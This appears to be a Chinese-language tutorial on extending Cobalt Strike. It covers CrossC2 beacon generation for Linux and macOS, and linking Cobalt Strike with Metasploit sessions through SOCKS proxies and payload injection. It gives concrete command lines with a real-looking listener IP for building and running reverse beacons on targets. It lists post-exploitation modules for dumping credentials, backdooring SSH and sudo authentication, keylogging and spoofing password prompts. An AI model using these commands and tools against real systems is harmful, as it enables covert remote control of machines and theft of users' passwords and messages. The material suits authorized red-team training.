渗透框架进阶之拓展应用

CobaltStrike扩展脚本

扩展脚本简介

扩展是 Cobaltstrike 一个极为重要的模块,它有效地丰富了 Cobaltstrike 的功能

选择菜单栏的 CobaltStrike > Script Manager(脚本管理器),点击 Load(加载),然后选择要使用的.cna扩展文件即可

常用扩展脚本插件

后渗透插件-梼杌:https://gitee.com/yijingsec/taowu-cobalt-strike-en

免杀插件-bypassAV:https://gitee.com/yijingsec/BypassAV

上线linux主机-CrossC2:https://gitee.com/yijingsec/CrossC2

CS上线Linux主机

CrossC2介绍

项目地址:https://gitee.com/yijingsec/CrossC2
项目文档:https://gitee.com/yijingsec/CrossC2/blob/cs4.1/README_zh_full.md

Cross C2 项目是一个可以生成 Linux/Mac OS 的 Cobaltstrike beacon payload 的跨平台项目

  • Linux & MacOS 支持无文件落地从内存中加载执行 动态库 或 可执行文件
  • 灵活自定义执行文件的数据返回类型,端口扫描,屏幕截图,键盘记录,口令凭证 等用户自定义开
  • 发实现更便捷
  • 自定义通信协议
  • 支持横向移动
  • 支持从内存加载脚本
  • Android & iPhone 支持

支持CobaltStrike对其他平台(Linux/MacOS/…)的安全评估,及包含Unix后渗透模块开发支持

CrossC2安装

https://gitee.com/yijingsec/CrossC2/releases/

下载工具脚本

下载 CrossC2.cna、genCrossC2、CrossC2Kit

修改CrossC2.cna配置

修改 $CC2_PATH 路径为下载的 genCrossC2 真实路径
修改 $CC2_BIN 为使用的 genCrossC2 程序名字

image-20240318114321272

创建Listener并拷贝Keys文件

  • 创建Listener监听器 windows/beacon_https/reverse_https
  • 拷贝teamserver目录的 .cobaltstrike.beacon_keys 文件到本地客户端目录

添加CNA扩展脚本

选择Script Manager,添加 CrossC2.cna (如果成功安装,菜单栏会多出一项 CrossC2)

功能扩展

  • 打开下载的 CrossC2Kit 文件夹,添加 CrossC2Kit_Loader.cna , 包含内存加载等其它功能
  • cs4.x 版本文件管理、进程列表功能缺失,必须使用此Loader来重启

生成Beacon

默认使用cli或cna提供的GUI功能生成beacon

  • GUI 生成木马

CrossC2 > Create CrossC2 Listener > Create reverse HTTPS Listener

image-20240318134541047

在Event Logs 时间日志窗口可以看到木马生成命令:

image-20240318135854049

  • Cli 生成木马
1
./genCrossC2.Win.exe Listener-IP Listener-Port .cobaltstrike.beacon_keys null Linux x64 cc2-test

Linux及MacOS上生成木马命令同上

  • 反向
1
2
3
4
5
6
7
8
9
10
./genCrossC2.Linux 139.155.49.43 444 .cobaltstrike.beacon_keys null Linux x64 c444

命令解释:
139.155.49.43:CS https_listener 监听器IP
444:CS https_listener 监听器端口
.cobaltstrike.beacon_keys:CS服务端Beacon key文件
null:不选择动态库
Linux:运行平台为Linux('MacOS' / 'Linux' / 'MacOS-bind' / 'Linux-bind')
x64:64位系统('x86' / 'x64')
c444:payload文件名
  • 正向
1
./genCrossC2.Linux 127.0.0.1 4444 .cobaltstrike.beacon_keys null Linux-bind x64 cc

内网横向移动

1
2
3
生成 Linux-bind / MacOS-bind 类型的beacon
内网中的目标运行 ./Linux-bind.beacon <port> 开启服务(不指定端口则默认监听端口为4444)
在网络联通的session中运行 connect <targetIP>:<port>

操作过程中要注意如下几点:

  1. 需要改cna脚本中 genCrossC2 路径。
  2. 要使用 windows/beacon_https/reverse_https 监听器。
  3. 要把团队服务器下的隐藏文件 .cobaltstrike.beacon_keys 复制到本地 CS 目录下。
  4. 文件都丢到 CS 客户端根目录下,别搞二级目录。
  5. 生成的 payload 是一个 Linux 下的可执行 payload 和可执行文件,IP 和端口对应
    windows/beacon_https/reverse_https 监听器。

运行Beacon

  • 在目标上运行CrossC2插件生成的一键上线脚本
  • 上传beacon至目标机器后进行赋权运行
1
2
3
chmod +x t_cc2.out

./t_cc2.out

CrossC2基本使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Command                   Description
------- -----------
! 从历史记录中运行命令
bash CrossC2 Bash脚本-在内存中运行脚本
cancel 取消正在进行的下载
cat 显示文件的内容
cc2_auth CrossC2 身份验证rootkit - 获取身份验证操作的密码(sshd/sudo/su/passwd…)
cc2_frp CrossC2 frp代理 - 启动Linux/MacOS SOCKS5代理{TCP/KCP(UDP)}
cc2_iMessage_dump CrossC2 iMessage转储-从iMessage转储消息。
cc2_inject CrossC2 进程注入
cc2_job CrossC2 joblist - 管理正在运行的任务
cc2_keychain_dump CrossC2 Keychain转储(root)- 从Keychain中转储登录用户名和密码
cc2_keylogger CrossC2 键盘记录器 - 收听用户从键盘输入的字符串。
cc2_mimipenguin CrossC2 mimipenguin - 从当前linux桌面转储登录密码
cc2_prompt_spoof CrossC2 prompt_spoof -(AppStore)界面弹出,提示用户输入密码,窃取输入的密码
cc2_safari_dump CrossC2 safari转储 - 从safari中转储浏览器历史记录(默认值为500)。
cc2_script CrossC2 Script - 在内存中运行脚本
cc2_shellcode CrossC2 运行shellcode
cc2_ssh CrossC2 SSH rootkit - 获取SSH的密码以登录到其他目标。
cd 切换目录
clear 清除任务队列
connect 通过TCP连接到Beacon
download 下载文件
downloads 列出正在进行的文件下载
exit 终止此会话
getsystem 将uid=0临时权限的会话升级为根会话
head 打印文件的前10行
help 帮助菜单
history 显示命令历史记录
note 为此会话分配备注
perl CrossC2 Perl脚本 - 在内存中运行脚本
php CrossC2 PHP脚本 - 在内存中运行脚本
pwd 打印当前目录
python CrossC2 Python脚本 - 在内存中运行脚本
python-import aaa

rportfwd 设置反向端口转发
rportfwd_local 通过Cobalt Strike客户端设置反向端口
ruby CrossC2 Ruby脚本 - 在内存中运行脚本
setenv 设置会话的环境变量
shell 通过shell执行命令
sleep 设置父信标的睡眠时间
socks 启动SOCKS4a服务器以中继流量
socks stop 停止SOCKS4a服务器
spawn 生成新会话
sudo 通过sudo运行命令
tail 打印文件的最后10行
unlink 断开子TCP的Beacon会话
upload 上传文件
1
2
3
4
5
6
7
8
密码dump模块:cc2_mimipenguin 采用开源项目 MimiPenguin2.0,参见 CrossC2Kit/mimipenguin/mimipenguin.cna
认证后门模块:cc2_auth, cc2_ssh sudo/su/passwd等认证后门,ssh被连接及连接其他主机的凭证都将被记录。
信息收集模块:cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump 常见浏览器的访问记录,以及iMessage聊天内容与钥匙串中保存的认证凭据都将被获取。
流量代理模块:cc2_frp 支持快速TCP/KCP(UDP)的反向socks5加密流量代理。
键盘记录模块:cc2_keylogger 记录用户的键盘输入。
网络探测模块:cc2_portscan, cc2_serverscan 进行端口扫描及服务版本扫描。
权限提升模块:cc2_prompt_spoof 诱导欺骗获取用户账户密码。
任务管理模块:cc2_job 管理内存中运行的模块。

CobaltStrike联动Metasploit

CobaltStrike(简称CS)及 MetaSploit(简称MSF)各有所长,CS更适合作为稳控平台,MSF更适用于与各类内网信息搜集及漏洞利用。为了取长补短,我们进行联动。

方法一

通过CS内置socks代理将本地MSF带入目标内网执行操作

思路:利用 beacon shell 在目标机器和团队服务器之间建立 socks , 而后再在本地利用通过proxychains 之类的工具连到目标内网即可。

  1. CS 启动 Socks 代理
1
beacon> socks 6677
  1. 使用 proxychains 代理

本地 kali 编辑 /etc/proxychains.conf 文件,添加 TeamServer 服务器 ip 和 socks 端口,就可以直接连到目标内网(类型为 socks4)

1
2
3
4
vim /etc/proxychains.conf

# 写入如下内容:
socks4 47.236.16.67 6677
  1. MSF设置代理

让本地 MSF 所有模块的流量都从 CS 的 socks4 代理走

代理信息 > tunnel > 得到设置代理命令

image-20240318145527818

打开MSF,执行全局代理设置命令:

1
2
3
msfconsole -q

msf6> setg Proxies socks4:47.236.16.67:6677

即可让本地 MSF 所有模块的流量都走 CS 的 socks 代理

方法二

  1. CS 上创建一个 http 的外部监听器(Foreign HTTP)

image-20240318145752341

  1. MSF 开启监听
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.200.65
set lport 803
run -j
  1. 回到 CS 上,在会话处右键,选择 spawn

  2. MSF 得到 meterpreter

Metasploit联动CobaltStrike

  1. 在 CS 开启一个监听(Beacon HTTP)

  2. MSF已经得到session会话

  3. MSF 上执行 payload 注入模块

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 47.236.16.67 #cobaltstrike监听的ip
set lport 801 #cobaltstrike监听的端口
set session 2 #这里是获得的session的id
run

DisablePayloadHandler 默认为 false,即payload_inject模块执行之后会在本地生成一个新的handler 监听器,由于设置执行的payload是去连接Cobaltstrike的监听器,所以这里我们设置为true,让它不再生成新的 handler 监听器